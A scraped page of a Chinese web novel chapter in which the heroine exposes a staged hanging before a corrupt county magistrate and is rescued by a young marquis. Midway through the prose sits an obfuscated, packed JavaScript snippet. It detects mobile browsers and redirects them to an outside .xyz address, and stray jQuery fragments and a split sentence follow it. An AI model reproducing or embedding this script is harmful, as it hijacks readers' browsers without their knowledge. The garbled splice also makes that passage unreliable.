28.小侯爷(第2页)

    “等等。”洛晚出声打断,上前顺手揭开盖在李嬷嬷身上的白布。

    县令见状怒道:“哪来的小丫头片子?”

    洛晚道:“他说李婶吊死在门前的槐树上,我去看过李婶的家,她门前是泥巴地,昨夜下了一场雨,门前早已泥泞不堪,然而这李婶鞋底,竟然一点泥巴也没有。敢问她是如何做到脚底不沾一点泥泞,吊死在门前槐树上?”

    县令顿了顿,道:“你的意思是有人杀了李婶,却伪装成他杀。”

    众人纷纷伸头去看,李嬷嬷的鞋底果然干净如新。

    “那就是你!”县令忽然指向中年男子,“监守自盗,你杀了李婶,试图用报案洗脱嫌疑。”

    中年男子扑通一声跪地:“青天大老爷明鉴啊,您给草民一百个胆子,草民也干不出杀人这种事啊!更……更何况俺和李婶无冤无仇,俺没有理由杀李婶啊!”

    县令道:“可有人证明你没杀人?”

    洛晚腹诽:狗官。

    李嬷嬷突然死亡,普天之下,有理由杀李嬷嬷的只有两个人,池绾绾和冯玉芸。

    无论如何,洛晚都不能将这件事和冯玉芸分开。

    徐宣被洛晚关在屋子内出不来,平时和他有交集的人不免觉得蹊跷,冯玉芸定是听到了什么风声,才导致她贸然派人除掉李嬷嬷。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852095|174201||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    p>徐宣那里情况不明,未必没有陷阱等她自投罗网,所以她才会舍近求远,选择除掉李嬷嬷。

    “这这这……”中年男人急的说不出话。

    县令道:“来人,把这个凶手带下去!”

    洛晚道:“尚无人证、物证,县令大人竟要如此草率了事?”

    县令反问道:“本官按照你说的排除自杀,抓住凶手。怎么算草率了事?”

    洛晚道:“一无人证,二无物证,如何定罪?”

    县令充耳不闻:“在坎塘县,本官说什么就是什么。你若是再闹事,一同关进大牢!”

    明镜高堂牌匾下,洛晚觉得万分讽刺,想要靠当地衙门查出李嬷嬷死亡的蛛丝马迹已是痴人说梦。

    于是她用一种极其清晰的声音,冷冷吐出两个字:“狗官。”

    县令何时受过这样的气,更何况当着父老乡亲的面,他顿感脸上挂不住,怒道:“把这个杀人凶手,以及闹事的疯子一同押下去,改日提审!”

    洛晚看着上前的衙役,冷声道:“我乃京师太常寺卿嫡女,你们要羁押朝廷命官之女?”

    衙役面面相觑,全都看向公座上的县令。

    大人,官职好像比你高。

    县令讥讽道:“哟,你这小丫头片子,还敢冒充朝廷命官之女,罪加一等!”催促愣在一旁的衙役,“还愣着干什么,一个小丫头都押不住?饭碗要不要了!”

    衙役们不敢不从,两人摁住跪在地上的中年男人,另两人要上前摁住洛晚肩膀。

    而其中一人,在手将要触碰到洛晚肩膀的刹那,被飞来的短刀生生割断三根手指!

    堂外的陈南辕笑了笑:“呀!刀剑无眼,可不能怪我。”

    洛晚猛然回头,目光越过陈南辕,直直落在他身后那个抱剑而立的少年身上。

    少年一身墨蓝劲装,眉眼冷峻,漆黑的眼瞳映出她的身影。

    洛晚在心中默念了这个人的名字:“江辞尘。”

    陈南辕踱进堂内,对洛晚憨憨一笑,蹲下身靠近断指的衙役,在他的哀嚎声中低声说了句什么。

    江辞尘道:“陈南辕。”

    陈南辕立即起身:“嗯,在呢!”

    血光四溅的场景,在吃饭不干事的县令这儿少见。

    他缓了好一会,才道:“什么人!竟敢在衙门放肆?!”

    陈南辕展出令牌,高声道:“我家公子是陛下亲封的冠军侯!”

    围观众人见此,纷纷下跪叩首。

    县令愣了一瞬,而后麻溜地从椅子上滚了下来,谄媚道:“小的有眼无珠,不知侯爷大驾光临,您请上座,上座。”

    江辞尘却连眼神都未分给县令半分,只是缓步走到洛晚身旁,道:“怎么在坎塘县让人欺负成这样?”

    洛晚直面挑衅,抬眸看他:“当然不及小侯爷威风,一出手就断了人家三根手指,未免太狠了些。”

    江辞尘淡淡道:“他该庆幸,我只断他三根。”

    县令跪在地上,冷汗涔涔,见两人旁若无人地交谈,更是惶恐,连忙磕头道:“侯爷恕罪!侯爷恕罪!下官有眼不识泰山,冒犯到这位小姐,实在该死!”

    江辞尘却道:“本侯哪句话说过,她和本侯有关?”

    县令愣住。

    陈南辕拍了拍县令肩膀,道:“京师的走私勾当,还要请教请教坎塘县的几位大人。”